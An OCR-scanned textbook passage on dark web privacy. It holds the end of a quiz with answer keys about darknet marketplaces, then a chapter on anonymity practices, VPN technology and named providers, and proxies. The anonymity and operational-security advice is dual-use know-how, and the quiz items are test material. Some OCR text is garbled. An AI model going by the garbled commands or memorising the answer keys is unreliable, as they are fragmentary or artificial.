. A new marketplace launches focusing on “Digital-for-Hire” services like phishing kits,
data transfers, and account takeovers. These services show rapid adoption and generate
high customer ratings. What does this trend most likely reflect?

a. Decline in ransomware demand

b. Rise in freelance ethical hacking

c. Professionalization of illicit digital economies

d. Legalization of digital espionage

Correct Answer: c) Professionalization of illicit digital economies
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Reason: Vendors increasingly market their services with professionalism, offering guar-
antees, branding, and customer support, indicating a shift from chaotic criminal activ-
ity to structured, service-oriented models.

9. A buyer chooses Monero over Bitcoin when transacting on a dark web marketplace,
citing privacy concerns. What specific feature of Monero likely influenced this choice?
a. Faster transaction speed
b. Wider merchant acceptance
c. Obfuscated blockchain visibility
d. High volatility in value

Correct Answer: ¢) Obfuscated blockchain visibility

Reason: Monero provides stronger privacy through stealth addresses and ring signa-
tures, making it nearly impossible to trace transaction histories, unlike Bitcoin, which
maintains a transparent public ledger.

10. The national cybercrime task force deploys anomaly detection and natural language
processing (NLP) to flag suspicious listings and vendor behaviors. What is the biggest
limitation of this technological approach in a darknet context?

a. Slow processing speed

b. Lack of multilingual NLP models

c. High rate of false positives

d. Incompatibility with cryptocurrency protocols

Correct Answer: ¢) High rate of false positives

Reason: While Al tools enhance detection, they risk misidentifying benign activity as
malicious, particularly in pseudonymous environments where language, slang, and
cultural nuances vary widely.
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Chapter 3

Secure access and communication channels

3.1 INTRODUCTION

The digital age has brought about a profound transformation in how individuals communicate,
exchange ideas, and access information. While the open internet has democratized connectiv-
ity, it has also become a space where personal data, online activities, and digital identities are
constantly monitored, harvested, and monetized by governments, corporations, and mali-
cious actors alike. This surveillance-driven environment has given rise to parallel networks
and platforms designed to protect users from such pervasive monitoring. Among these, the
Dark Web has emerged as one of the most prominent spaces prioritizing user anonymity and
privacy. However, the very nature of the Dark Web, being a haven for both legitimate and
illicit activities, means that users must exercise a heightened level of caution when engaging
in this ecosystem.

At its core, the Dark Web is a subset of the internet that is intentionally hidden and requires
specialized software, such as Tor, to access. Unlike the surface web, which is indexed by tradi-
tional search engines, or the deeper segments of the internet that house private databases and
password-protected portals, the Dark Web is purpose-built for privacy and anonymity. Users
typically turn to it when they seek to avoid tracking, censorship, or exposure, whether for
personal safety, political activism, or confidential communication. This layer of the internet
has become a lifeline for whistleblowers revealing state-level misconduct, journalists pro-
tecting sources in oppressive regimes, and marginalized communities seeking unmonitored
expression. At the same time, its design attracts threat actors, cybercriminals, and illicit mar-
ketplaces. This dual nature makes it essential for all users, regardless of intent, to adopt
robust tools and practices to safeguard their identities and communications.

Anonymity on the Dark Web is not a luxury; it is a baseline requirement for survival
in a space that thrives on hidden interactions. Without adequate protection, a user’s real-
world identity can be linked to their online activities, which could lead to legal repercussions,
exposure to malicious attacks, or even physical harm. The global threat landscape has dem-
onstrated countless examples where individuals accessing hidden services were unmasked
because of poor operational security or misconfigured tools. Such incidents underscore the
fact that while Tor and similar technologies form the backbone of Dark Web access, they are
not infallible. Every connection made through the network leaks fragments of data like meta-
data, IP addresses, and device fingerprints that can potentially be pieced together to deano-
nymize a user. Adversaries, whether state-sponsored intelligence agencies or opportunistic
cybercriminals, are continuously refining their capabilities to exploit these leaks.

The importance of privacy in this context is intertwined with the concept of anonymity
but carries its own nuances. Anonymity protects the user’s identity, while privacy ensures that
their interactions, communications, and data exchanges remain shielded from third parties.
Even if a user cannot be personally identified, the exposure of their messages or browsing
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patterns can be enough to compromise their objectives. Consider, for instance, a journalist
communicating with a confidential source in a hostile country. If their correspondence is
intercepted, the source’s safety may be jeopardized even if neither party’s identity is explicitly
revealed. Similarly, activists organizing protests through hidden forums could face retaliation
if adversaries gain access to their operational details. The Dark Web, by virtue of its decen-
tralized and pseudonymous structure, provides an initial layer of privacy. Yet this protection
is often fragile and easily undermined by user mistakes, compromised platforms, or the use
of unencrypted communication channels.

Secure communication channels are, therefore, a critical pillar of safe engagement on the
Dark Web. It is not enough to simply mask one’s IP address or route traffic through Tor
nodes. Messages, files, and transactions must be encrypted end-to-end, ensuring that even
if intercepted, they remain unintelligible to unauthorized parties. Tools like ProtonMail,
OnionMail, and Mail2Tor have been developed precisely for this purpose, allowing users to
exchange emails with strong cryptographic protections. These platforms often integrate with
Tor, eliminating the need for users to expose themselves on the surface web. Similarly, secure
file-sharing applications like OnionShare provide the means to distribute sensitive documents
without leaving a digital trail. Whonix, a security-focused operating system, complements
these tools by isolating user activities and routing all network traffic through Tor by default,
reducing the likelihood of accidental data leaks. Collectively, these solutions form a multi-
layered defense strategy that goes beyond superficial anonymity.

The threat environment on the Dark Web is uniquely complex because adversaries oper-
ate under the same cloak of anonymity as legitimate users. Cybercriminals have developed
sophisticated methods to lure unsuspecting individuals into scams, phishing schemes, or
malware-laden sites. Many hidden services mimic legitimate platforms to harvest credentials
or install spyware on visitor devices. Law enforcement agencies, too, run infiltration opera-
tions by establishing seemingly benign services that actually serve as honeypots to gather
intelligence. In this environment, the absence of secure communication channels can lead
to devastating consequences. Unencrypted messages may be intercepted by intermediaries,
metadata can be analyzed to infer relationships, and unverified services can exploit trust to
compromise identities. Users who assume that Tor alone guarantees safety are often the most
vulnerable, as their complacency makes them easy targets.

Anonymity and privacy are also crucial for maintaining the integrity of transactions con-
ducted on the Dark Web. Cryptocurrency, particularly Bitcoin, is the dominant medium of
exchange within this ecosystem. While Bitcoin transactions are pseudonymous, they are pub-
licly recorded on the blockchain and can often be traced back to real-world identities through
careful analysis. To counteract this, many users employ mixing services, privacy-focused
cryptocurrencies, and secure wallets. These practices mirror the broader necessity of layering
protections; anonymity in network routing must be paired with privacy in financial dealings.
Otherwise, adversaries can correlate blockchain data with traffic patterns to unmask users.
This risk extends to seemingly innocuous activities, such as purchasing VPN subscriptions or
registering domains, which can create traceable links if not handled with care.

From a geopolitical perspective, the Dark Web serves as a sanctuary for those operating in
environments where freedom of expression is curtailed. In authoritarian regimes, merely vis-
iting a censored website or communicating with foreign journalists can attract government
scrutiny. For dissidents, the stakes are far higher than reputational damage; exposure can
lead to imprisonment or worse. Anonymity tools, privacy-enhancing technologies, and secure
communication channels enable these individuals to bypass censorship and engage with the
outside world without fear of reprisal. The same principles apply to whistleblowers, who risk
professional and legal consequences for exposing wrongdoing within powerful institutions.
High-profile cases, such as those involving Edward Snowden and Chelsea Manning, have
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demonstrated how secure communication platforms can protect sources and facilitate the
dissemination of information in the public interest.

However, the reliance on these protections also creates ethical and legal dilemmas. Critics
argue that the Dark Web’s emphasis on anonymity enables criminal enterprises to flourish,
from drug trafficking and weapons sales to child exploitation networks. Law enforcement
agencies contend that the same encryption and routing technologies that shield journalists
and activists also hinder investigations into serious crimes. This tension has fueled debates
about whether backdoors should be introduced into secure communication platforms, a pro-
posal that many cybersecurity experts reject because it would compromise the very foun-
dations of privacy for all users. The reality is that no technology can perfectly distinguish
between legitimate and illegitimate use cases. The responsibility, therefore, falls on individu-
als to adopt best practices and on society to balance the protection of civil liberties with the
need for security.

Best practices in the Dark Web environment revolve around the concept of operational
security (OpSec). Users must assume that every digital interaction is potentially monitored
and take steps to minimize their exposure. This includes using reputable VPN services to
mask their entry point into the Tor network, employing proxies to add further obfuscation
layers, and relying on encrypted messaging and email services. It also means compartmental-
izing identities and activities; a single lapse, such as logging into a personal account from the
same device used for anonymous browsing, can unravel an entire privacy strategy. Secure
operating systems like Whonix and Tails are designed with this philosophy in mind, provid-
ing ephemeral computing environments that leave no traces on host machines. These systems
force all traffic through Tor, making it difficult for adversaries to bypass protections even if
they compromise individual applications.

Another critical dimension of secure communication on the Dark Web is authentication.
The anonymous nature of the ecosystem makes it difficult to verify the legitimacy of ser-
vices or individuals. Many platforms use PGP (Pretty Good Privacy) keys to sign messages
and confirm identities, but this requires users to understand and correctly implement cryp-
tographic tools. Failure to do so leaves them vulnerable to impersonation attacks, where
adversaries pose as trusted entities to extract sensitive information. Secure platforms increas-
ingly integrate authentication mechanisms that are both robust and user-friendly, but the
responsibility ultimately lies with individuals to exercise vigilance. Cross-referencing multiple
sources, verifying digital signatures, and avoiding interactions with untrusted entities are all
essential practices.

The importance of anonymity, privacy, and secure communication channels on the Dark
Web cannot be overstated because these elements are interdependent. Weakness in one area
inevitably undermines the others. For example, using an encrypted messaging service over
an unprotected connection exposes metadata that could reveal a user’s location or social
graph. Similarly, accessing the Dark Web without isolating activities from the host operating
system creates opportunities for forensic analysis to recover data remnants. Effective strate-
gies, therefore, emphasize layered defenses, where each tool and practice reinforces the next.
This holistic approach reduces the likelihood that a single point of failure will compromise
the user’s security.

As the Dark Web continues to evolve, so too will the technologies and tactics used by
adversaries. Advances in machine learning and big data analytics are making it easier to iden-
tify patterns in seemingly anonymous traffic. Nation-states with vast resources can deploy
network-level attacks, compromise Tor nodes, or exploit zero-day vulnerabilities in popu-
lar tools. This reality underscores the need for constant vigilance and adaptability among
Dark Web users. Merely adopting a set of tools is not enough; individuals must remain
informed about emerging threats and update their practices accordingly. Communities that
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share knowledge about security vulnerabilities, safe platforms, and threat intelligence play a
crucial role in sustaining a resilient ecosystem.

The Dark Web exists as a space defined by its capacity to shield users from surveillance
and censorship. Yet this promise is fragile and contingent upon the deliberate use of technolo-
gies and practices that uphold anonymity, privacy, and secure communication. Whether one
is a journalist protecting a source, an activist resisting an oppressive regime, or an ordinary
individual seeking refuge from data exploitation, the stakes of exposure can be severe. The
adoption of layered security measures, including VPNs, proxies, encrypted messaging plat-
forms, secure operating systems, and rigorous OpSec, forms the foundation of safe interac-
tion in this complex environment. As adversaries become more sophisticated, the importance
of these protections will only grow, making them not just advisable but essential for anyone
navigating the Dark Web.

3.2 VIRTUAL PRIVATE NETWORKS

The internet has evolved into an indispensable element of our daily lives, connecting peo-
ple, businesses, and governments worldwide. While this unprecedented level of connectivity
offers convenience and efficiency, it also introduces significant risks associated with surveil-
lance, cyberattacks, and data breaches. In this context, Virtual Private Networks, or VPNs
[1], have emerged as a cornerstone of online security and privacy. A VPN is a technology that
establishes a secure and encrypted connection between a user’s device and a remote server,
which is often operated by a VPN service provider. This connection acts as a tunnel, shielding
the user’s data from interception, snooping, or monitoring by any third party, including hack-
ers, internet service providers (ISPs), and government agencies. By masking the user’s real
IP address and rerouting internet traffic through the VPN server, this technology provides a
robust layer of protection and anonymity, making it increasingly popular among individuals
and organizations worldwide.

The underlying architecture of VPN technology revolves around the concept of encapsula-
tion and encryption, as displayed in Figure 3.1. When a user connects to the internet without
a VPN, their data travels through their ISP’s network in an unencrypted form, which leaves
it vulnerable to interception at multiple points along the transmission path. With a VPN,
however, all the data is first encrypted and then sent through a secure tunnel to a remote
server. This server then decrypts the data and forwards it to the intended destination, making
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Figure 3.1 VPN architecture.
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it appear as though the traffic originates from the VPN server’s location rather than the user’s
actual device. This process effectively hides the user’s physical location and online activities.
For example, if someone in India connects to a VPN server located in the United States, web-
sites and online services they access will assume the user is physically present in the United
States, which not only helps bypass geographical restrictions but also obscures their true
location.

VPN technology has its roots in enterprise computing environments. In the early days of
remote networking, large organizations faced the challenge of allowing employees to access
internal corporate resources securely from remote locations. Traditional methods of connect-
ing through public networks were inherently insecure, as data could easily be intercepted by
malicious actors. VPNs provided a solution by creating a private, encrypted channel over
the public internet, allowing remote employees to securely access internal networks as if
they were physically present at the office. Over time, as concerns about online privacy grew
among the general public, VPN transitioned from being a purely corporate tool to becoming
a mainstream security solution adopted by everyday internet users. This shift was powered
by increasing awareness of government surveillance programs, aggressive data collection
practices by corporations, and the rise of cybercrime targeting personal data.

Modern VPNs employ a variety of encryption protocols to ensure the security and integ-
rity of data. Protocols such as OpenVPN, WireGuard, and IKEv2/IPsec are among the most
widely used because of their ability to balance strong encryption with fast performance.
OpenVPN, for instance, is open-source and uses SSL/TLS encryption, making it highly secure
and flexible across different platforms. WireGuard is a newer protocol that has quickly
gained popularity due to its lightweight codebase and faster connection speeds while main-
taining robust encryption standards. These protocols are crucial because they determine how
data is packaged, encrypted, transmitted, and decrypted at each end of the VPN tunnel.
Without such encryption, VPNs would be ineffective at protecting users’ data, particularly
on unsecured networks like public Wi-Fi in cafes, airports, and hotels, where cybercriminals
frequently attempt man-in-the-middle attacks to intercept sensitive information.

Setting up a VPN has become remarkably user-friendly compared to earlier years. Most
commercial VPN providers offer dedicated applications for all major operating systems,
including Windows, macOS, Linux, Android, and iOS. After choosing a reputable provider,
a user typically downloads and installs the VPN client, logs in with their credentials, and
selects a server from a list of available locations. Once connected, all internet traffic from that
device is automatically routed through the encrypted VPN tunnel. For instance, someone in
Germany who wishes to watch a U.S.-exclusive Netflix series can simply open the VPN app,
choose a server based in New York or Los Angeles, and begin streaming content as if they
were physically located in the United States. This straightforward setup process has made
VPN accessible even to users who are not technically inclined.

The benefits of using a VPN extend far beyond bypassing geo-restrictions. One of the pri-
mary advantages is privacy protection. By concealing a user’s IP address and encrypting all
internet traffic, VPNs make it extremely difficult for ISPs, advertisers, or surveillance agen-
cies to track online activities. This is particularly important in an age where online tracking
has become a lucrative business model. Advertisers collect extensive data on browsing habits
to build detailed profiles of individuals, which can then be sold to third parties or used for
targeted advertising. VPN disrupt this cycle by masking user identities and preventing third
parties from correlating online behavior with real-world identities.

Another significant benefit is the protection VPNs offer on unsecured public Wi-Fi net-
works. These networks are convenient but often lack basic security measures, making them
a prime target for hackers. A cybercriminal connected to the same public Wi-Fi network can
intercept unencrypted traffic and steal sensitive information such as login credentials, credit
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card numbers, and personal communications. When using a VPN, all data is encrypted before
it leaves the device, rendering it unreadable to anyone who might intercept it. Travelers, in
particular, rely heavily on VPNs when accessing the internet in airports, hotels, or cafes,
where the risk of cyberattacks is higher due to the open nature of these networks.

VPN also play an essential role in combating bandwidth throttling. Many ISPs monitor
the types of activities their customers engage in and intentionally slow down connections
for high-bandwidth tasks such as video streaming or online gaming. This practice, known
as throttling, can be frustrating for users who pay for high-speed internet but experience
inconsistent performance. VPNs prevent ISPs from identifying the nature of the traffic pass-
ing through their networks because the data is encrypted. As a result, ISPs cannot selectively
throttle specific activities, allowing users to enjoy more consistent speeds. In corporate envi-
ronments, VPNs remain an indispensable tool for maintaining data security and enabling
remote work. Organizations use site-to-site VPNs to connect multiple office locations
securely, ensuring that data transmitted between branches is protected from interception.
Remote access VPNs allow employees working from home or traveling to securely connect
to internal corporate resources, such as file servers and databases. For example, a multina-
tional financial institution might use a VPN to ensure that sensitive information transmitted
between its offices in New York, London, and Tokyo remains confidential and inaccessible
to unauthorized parties. The COVID-19 pandemic accelerated the adoption of VPNs in the
workplace, as remote work became the norm for millions of employees worldwide.

Real-world examples highlight the critical role VPNs play in supporting free expression
and access to information in countries with restrictive internet policies. In China, the govern-
ment’s extensive censorship system, commonly referred to as the Great Firewall, blocks access
to numerous foreign websites and online services, including Google, Facebook, and Twitter.
Journalists, activists, and ordinary citizens frequently rely on VPNs to circumvent these
restrictions and access information freely. Similarly, in countries like Iran and Russia, where
government surveillance is prevalent, VPNs enable individuals to communicate securely and
avoid detection by state authorities. These examples underscore the fact that VPNs are not
merely tools for convenience but vital instruments for preserving fundamental rights such as
freedom of speech and access to information.

VPN technology continues to evolve, and many providers now offer advanced features
that enhance security and usability. One such feature is the kill switch, which automati-
cally disconnects a device from the internet if the VPN connection drops unexpectedly. This
prevents any unencrypted data from leaking during the brief period when the VPN tunnel
is not active. Another feature, split tunneling, allows users to choose which applications or
websites use the VPN connection while others connect directly to the internet. This is par-
ticularly useful for users who want to access local services that may not work properly when
using a foreign IP address. Some VPNs also offer obfuscated servers, which disguise VPN
traffic as regular HTTPS traffic to bypass VPN-blocking firewalls. These features make VPNs
more versatile and resilient in environments where network administrators or governments
attempt to restrict their use.

Although VPNs offer many advantages, they are not without limitations. One of the pri-
mary concerns is the level of trust required in the VPN provider. Because all user traffic
passes through the VPN server, the provider has the technical ability to monitor this data.
Reputable VPN services adhere to strict no-logs policies, meaning they do not store records of
user activity, but users must take the time to verify these claims before subscribing. Another
limitation is that VPNs can sometimes reduce internet speeds. The encryption and routing
process adds overhead, particularly when connecting to servers located far from the user’s
physical location. While modern protocols like WireGuard have minimized this impact, users
may still experience slower connections compared to their normal internet speed. In addition,
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VPN do not provide complete anonymity or immunity from online threats. While they hide
IP addresses and encrypt traffic, they cannot prevent websites from tracking users through
browser fingerprints or cookies. Nor can they protect against malware infections or phishing
attacks. Users must still practice good cybersecurity hygiene, such as using strong passwords,
enabling multi-factor authentication, and avoiding suspicious links. Furthermore, some web-
sites and streaming services actively block traffic from known VPN IP addresses. Netflix,
for example, has implemented sophisticated measures to detect and block VPN connections
in order to enforce regional licensing agreements. This cat-and-mouse game between VPN
providers and content platforms is ongoing and can result in occasional service disruptions.

The legality of VPN usage varies across jurisdictions. In many countries, including
the United States, Canada, and most European nations, using a VPN is completely legal.
However, certain countries impose strict regulations or outright bans on VPN use. In Russia,
for instance, VPN providers must comply with government censorship requirements, which
undermines the very purpose of the technology. In the United Arab Emirates, using a VPN
for activities deemed illegal can result in heavy fines. Users must be aware of the laws in their
respective countries before using VPNs to avoid potential legal consequences.

Well-known VPN providers like ExpressVPN, NordVPN, ProtonVPN, and Mullvad have
built strong reputations for their commitment to privacy and security. ExpressVPN is popular
for its high speeds and broad selection of server locations across the globe. Nord VPN offers
additional features such as double VPN, which routes traffic through two servers for extra
encryption, and a strict no-logs policy that has been independently audited. Proton VPN,
developed by the team behind ProtonMail, focuses heavily on security and offers a free tier
with limited features to encourage widespread adoption. Mullvad stands out by allowing
users to subscribe without providing any personal information, accepting cash payments,
and cryptocurrency for maximum anonymity. These providers serve as examples of how the
VPN industry has matured to cater to diverse user needs.

In enterprise settings, VPNs form part of a broader cybersecurity strategy. Organizations
often deploy hardware-based VPN appliances that integrate with firewalls and intrusion
detection systems. These setups ensure that remote employees and branch offices can access
internal networks securely without exposing sensitive systems to the public internet. For
example, a global law firm might use a site-to-site VPN to connect its offices in different coun-
tries, allowing attorneys to collaborate on confidential cases without risking data breaches.
Similarly, hospitals use VPNs to enable doctors to access patient records from home while
complying with data protection regulations such as HIPAA in the United States.

3.3 VPN USE CASES

As the digital landscape continues to evolve, VPN technology faces new challenges and
opportunities. The rise of cloud computing, 5G networks, and the Internet of Things (IoT)
has expanded the attack surface for cybercriminals, making secure remote connections more
critical than ever. At the same time, advancements in quantum computing pose potential
threats to current encryption methods, prompting researchers to explore quantum-resistant
algorithms for future VPN implementations. Providers are also experimenting with decen-
tralized VPN models, which distribute the network infrastructure across users rather than
relying on centralized servers. These innovations aim to make VPNs more secure, resilient,
and resistant to censorship. VPNs have established themselves as an essential tool for pre-
serving privacy, security, and freedom on the internet. They empower individuals to take
control of their digital identities, protect sensitive data from prying eyes, and access informa-
tion without arbitrary restrictions. However, VPNs are not a panacea. They must be used



58 Beyond The Invisible Nexus

in conjunction with other cybersecurity measures and an awareness of the broader threat
landscape. By understanding how VPNs work, recognizing their limitations, and selecting
trustworthy providers, users can significantly reduce their exposure to cyber threats and
enjoy a safer online experience.

Case studies further illustrate the significance of VPNs in real-world scenarios. During
major political protests in Hong Kong, activists relied on VPNs to communicate securely and
access uncensored news sources, as the government increased its surveillance and censorship
efforts. In Belarus, during the 2020 presidential election protests, VPN downloads surged as
citizens sought ways to bypass government-imposed internet blackouts. These events dem-
onstrate that VPNs are not just tools for personal convenience but critical lifelines for people
living under oppressive regimes.

Mullvad VPN

Mullvad VPN [2] is owned by parent company Amagicom AB. The name Amagicom is
derived from the Sumerian word ama-gi, the oldest word for “freedom” or, literally, “back
to mother” in the context of slavery and the abbreviation for communication. Amagicom
stands for “free communication”. Figure 3.2 displays the company’s offerings, which include
a browser and a VPN service.

Figure 3.3 displays the first step to generate a random account number in order to maintain
anonymity, and the second step is to add time to your account if you take a subscription for VPN.

Figure 3.4 illustrates the download the app option through which the app can be
downloaded.

Figure 3.5 displays the installation commands in Ubuntu/Debian or Fedora environment.

This is why you should use Mullvad VPN Browse the web with Mullvad Browser

Your IP address is the easiest way to identify you on the internet. It can be A VPN is not enough for privacy. But in combination with a privacy-
used to track you and to map your life online. Step 1 to reclaim your focused browser, you make sure to block third-party cookies and other
privacy is to hide it, by using a trustworthy VPN. Read more tracking technologies used by the data collectors. Read more

Figure 3.2 Mullvad VPN.

Get started with Mullvad 2. Add time to your account

Read our terms of service, it is only one page long.

We offer one flat rate of €5/month (=$5.85) so you can pay as you go instead of committing to long-term

1. Get an account number subscriptions. If you're not satisfied, we offer a 14-day money back guarantee.

Start by generating a random account number.

_ Add time to your account
Generate account number

Figure 3.3 Account number.

3. Download the app

Download the Mullvad VPN app and use your account on up to 5 devices.

Figure 3.4 App download.
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Ubuntu/Debian

Fedora

Stable  Beta
Stable Beta

anager addrepo --from-repofileshttp 11vad.net/rpm/stable/

sudo dnf install mullvad-vpn

Figure 3.5 Installation commands.

Get a secure VPN!

Figure 3.6 Nijalla paid service.

NjallaVPN

Njalla VPN [3] is a privacy-focused service operated by the founders of The Pirate Bay,
designed to offer enhanced anonymity and protection for users concerned about surveillance
and data tracking. Unlike conventional VPN providers, Njalla emphasizes minimal data
retention and allows domain registrations, hosting, and VPN access without directly expos-
ing the user’s identity, often accepting cryptocurrency payments and acting as a middleman
to further shield personal details. This makes it particularly appealing to activists, journalists,
and users in restrictive regimes, although its strong stance on privacy has also attracted atten-
tion from law enforcement and cybersecurity communities. Figure 3.6 illustrates that this is
a paid monthly service to access this VPN service.

AirVPN

AirVPN [4] is a privacy-centric VPN service offering unlimited traffic, server switches, and
no speed caps, with a guaranteed minimum bandwidth of 4 Mbit/s for both download and
upload. Supporting five simultaneous connections per account, it allows all protocols, includ-
ing P2P, and includes features like port forwarding, DDNS, and optional block lists for ads
and malware. AirVPN operates high-performance physical servers across many countries
and supports secure protocols such as OpenVPN and WireGuard, with connections avail-
able on multiple ports, including options to tunnel over SSH, SSL, or even Tor, ensuring
strong resistance against censorship, throttling, and surveillance. No personal information is
required to sign up, and the service is backed by transparent, no-overbooking policies. Figure
3.7 displays the first step to access the VPN being registering a user or logging them in.

The second step is to buy a plan, which is needed to access that platform. After success-
fully buying the plan, download the application by clicking on “Download area” button, as
shown in Figure 3.8.

Crypto Storm

Crypto Storm [5] is a privacy-focused, token-based VPN service that emphasizes strong
encryption, anonymity, and transparency. Unlike traditional VPNs, it uses authentication
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[ Step 1: Register an account or sign-in
You need an account to buy a plan. Please Sign in or Create an account

Figure 3.7 Register/sign in.
[J Step 2: Buy a plan

Step 3: Download or configure

Download area

Figure 3.8 Next steps.

OpenVPN WireGuard®

Debian Ubuntu Fedora Manjaro Debian Ubuntu Fedora Manjaro
Linux Mint EndeavourOS  openSUSE Pop!_0OS Linux Mint EndeavourOS  openSUSE Pop!_OS
Elementary Zorin OS Solus MX Linux Elementary Zorin OS Solus MX Linux
oS os

Gentoo Parrot OS Nitrux Kali Linux Gentoo Parrot OS Nitrux Kali Linux
Whonix Kodachi Qubes OS Tails Whonix Kodachi Qubes OS Tails

Figure 3.9 Crypto Storm for Linux.

tokens instead of usernames and passwords, allowing users to connect without revealing any
personal information. Crypto Storm routes traffic through servers using robust protocols like
OpenVPN and WireGuard, with features such as DNSCrypt, IPv6 support, and built-in pro-
tection against DNS and IP leaks. It supports unlimited connections per token and is popular
among privacy advocates for its no-logs policy and open-source transparency. Designed for
users who prioritize anonymity, CryptoStorm is often used to access censored content, the
Dark Web, or to protect against surveillance. Figure 3.9 displays the VPN availability for
various Linux versions for Open VPN, WireGuard.

Figure 3.10 displays detailed installation steps for downloading Open VPN or WireGuard
using Crypto Storm.

3.4 PROXY SERVICES FOR ENHANCED ANONYMITY

Role of proxy in Dark Web

In the context of the Dark Web and broader cybersecurity ecosystems, proxies play a critical
role in facilitating anonymous or semi-anonymous access to online resources. A proxy server
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[

. Go to our OpenVPN config generator and download a config.

. Click the networking icon in the top right, then go to "VPN Connections" then "Add a VPN connection..."

(or "Configure VPN..." if this isn't your first time setting up a VPN)

Choose "Import a saved VPN configuration..." at the very bottom of that list, then select the config file you just downloaded.

N

i

On some WiFi networks, and certain virtual machines, you might need to set the MTU to 1400 under Advanced, at least for the UDP configs.

IS

. Enter your cryptostorm token into the username field, and any text into the password field, then click the Save button to the bottom right.
Go back to the networking icon in the top right, click VPN Conenctins, then click the VPN server you just imported.
That's it! Check with http://stormwayszuh4djuycoydkwoww5saveu2edtdipkup667 pdwedgenzwayd.onion/test to verify that your IP has changed.

[

Figure 3.10 Detailed installation steps.

essentially acts as an intermediary between a client (such as a user’s device) and the destina-
tion server they wish to access. When a user sends a request to a website through a proxy, the
request is first relayed to the proxy server, which then forwards it to the target server on the
user’s behalf. The server’s response is similarly sent back through the proxy. This process has
several important implications for privacy and network control. Primarily, the destination
server only sees the IP address of the proxy server, not the client’s true IP address, which can
obscure the user’s identity or location. This characteristic of proxies is one of the major rea-
sons they are widely adopted in the Dark Web, where concealing user identity is paramount
for avoiding surveillance or detection.

The conceptual distinction between proxies and other privacy-enhancing technologies,
such as Virtual Private Networks (VPNs), is important to understand. A proxy operates
mainly at the application layer of the network stack, meaning it intermediates traffic for
specific applications, such as a web browser or a BitTorrent client. VPNs, on the other hand,
function at the network layer, encrypting and tunneling all traffic from the device through a
secure server, regardless of the application. As a result, a proxy may only anonymize traffic for
a single configured application, while a VPN anonymizes traffic system-wide. Furthermore,
VPNs employ robust encryption protocols such as OpenVPN, WireGuard, or IPsec, which
not only mask a user’s IP address but also secure the data in transit, rendering it unread-
able to third parties. Proxies, unless explicitly configured to use encrypted protocols such as
HTTPS or SOCKSS with TLS, typically do not encrypt traffic, leaving the data susceptible
to interception.

Differences between proxies and VPNs

The first fundamental difference lies in the level of encryption. Proxies usually do not encrypt
the data they transmit, which means that while the IP address of the client is masked, the
contents of the communication can be monitored by any adversary with access to the data
stream. This characteristic is evident in HTTP proxies, which are designed solely for web
traffic and cannot secure the connection beyond masking the client’s IP address. VPNs, by
contrast, inherently encrypt all data transmitted through the tunnel, using advanced crypto-
graphic algorithms such as AES-256 in GCM or CBC modes, ensuring confidentiality and
integrity of the transmitted information.

Another difference is the scope of operation. Since proxies operate at the application layer,
they require explicit configuration for each application. For example, a user must set their
browser to use a specific proxy server to route web traffic through it. Other applications,
such as email clients or file transfer programs, will bypass the proxy unless they are also
configured. VPN, by creating a virtual network interface on the user’s device, automatically
route all traffic from all applications through the encrypted tunnel. This system-wide protec-
tion is a key advantage of VPNs for comprehensive privacy.
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The third distinction relates to performance and latency. Proxies can, in some instances,
reduce bandwidth consumption by caching frequently accessed resources. For example, a
corporate HTTP proxy might store a copy of commonly requested web pages and serve these
to users without contacting the remote server, thereby improving speed. VPNs generally do
not implement caching, as their primary focus is on security and privacy, not performance
optimization. However, VPN are likely to introduce more latency than proxies because they
encapsulate and encrypt all data packets, which can be computationally intensive, particu-
larly on low-powered devices.

Proxy usage scenario

Proxies are used in multiple scenarios, depending on the desired balance between anonymity,
performance, and control. In corporate environments, proxies are often deployed as gate-
ways to monitor and filter employees’ internet usage. A company might configure an HTTP
proxy to block access to known malicious websites or to restrict employees from visiting
certain non-work-related domains. These proxies can also log user activity for audit pur-
poses. Similarly, proxies are frequently used in content delivery networks (CDNs) to cache
data geographically closer to users, improving speed and reducing load on the origin servers.

In the context of the Dark Web, proxies are used by individuals seeking to mask their IP
addresses without necessarily needing full encryption of their data. For example, a user might
use a SOCKSS proxy to route their traffic through an intermediary server, thereby conceal-
ing their true location from the destination. SOCKS proxies are protocol-agnostic, capable
of forwarding any kind of traffic, including HTTP, FTP, and even SMTP, which makes them
versatile. Additionally, they are commonly used with anonymity networks such as Tor. Tor
itself operates as a network of layered proxies (hence its name “The Onion Router”), in
which each relay node only knows the address of the node it received data from and the
address of the next node to forward it to. This onion-routing approach allows Tor to provide
strong anonymity guarantees for users accessing hidden services on the Dark Web.

Another common use case for proxies is bypassing geo-restrictions or censorship. A user
in a country where certain websites are blocked may configure their browser to use a proxy
server located in another country where those websites are accessible. Since the request to the
blocked site originates from the proxy, which is outside the restricted region, the user can cir-
cumvent the censorship. Similarly, some users employ residential proxies to access websites
that block traffic from data center IP addresses, thereby appearing as if they are browsing
from a normal residential ISP.

Limitations of proxies

Despite their utility, proxies have several inherent limitations that can undermine their effec-
tiveness. The lack of encryption is the most obvious drawback. If a user accesses a website
through an HTTP proxy and the connection to the website is not encrypted (i.e., the site uses
HTTP instead of HTTPS), the data transmitted can be intercepted by a man-in-the-middle
attacker. This is particularly dangerous when sensitive information such as passwords or
financial details is involved. Even when using an HTTPS proxy, only the connection between
the client and the proxy is encrypted; the connection from the proxy to the destination server
may remain unencrypted, depending on configuration.

Proxies also offer a weaker anonymity model than VPNs or Tor. Since the proxy server
is a single intermediary, it is a central point of failure. If the operator of the proxy server
logs user activity or is compelled to hand over logs to authorities, the user’s anonymity is
compromised. In contrast, VPN providers typically advertise strict no-log policies, and Tor’s
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decentralized network design ensures that no single node can associate a user’s identity with
their destination.

Another limitation is the potential for data leakage. Some proxies, particularly transparent
proxies, may not fully mask the client’s IP address. Transparent proxies intercept requests
without requiring client-side configuration and can append headers such as “X-Forwarded-
For” to identify the original IP address. If the destination server logs these headers, the user’s
true IP can be revealed. Proxies are also susceptible to DNS leaks if the client’s DNS requests
are not routed through the proxy. For instance, a user accessing a blocked website through a
proxy may still have their DNS queries resolved by their ISP’s DNS server, exposing the fact
that they attempted to visit the site.

Performance can also be an issue. Although proxies can cache resources, they can become
bottlenecks if they handle a high volume of traffic. This is especially problematic for public
proxies that are freely available on the internet, as these servers are often overloaded, leading
to slow response times. Additionally, the reliability of public proxies is questionable; many
go offline without notice or may be operated by malicious actors who intercept user data.

In the landscape of modern network communications, proxy tools serve as critical inter-
mediaries that mask the original source of a connection by relaying requests between a
client and the destination server. Among the many types of proxies, the SOCKS (Socket
Secure) family has evolved to become one of the most flexible and widely adopted technolo-
gies. SOCKSS5, the most recent iteration, introduces advanced support for various protocols
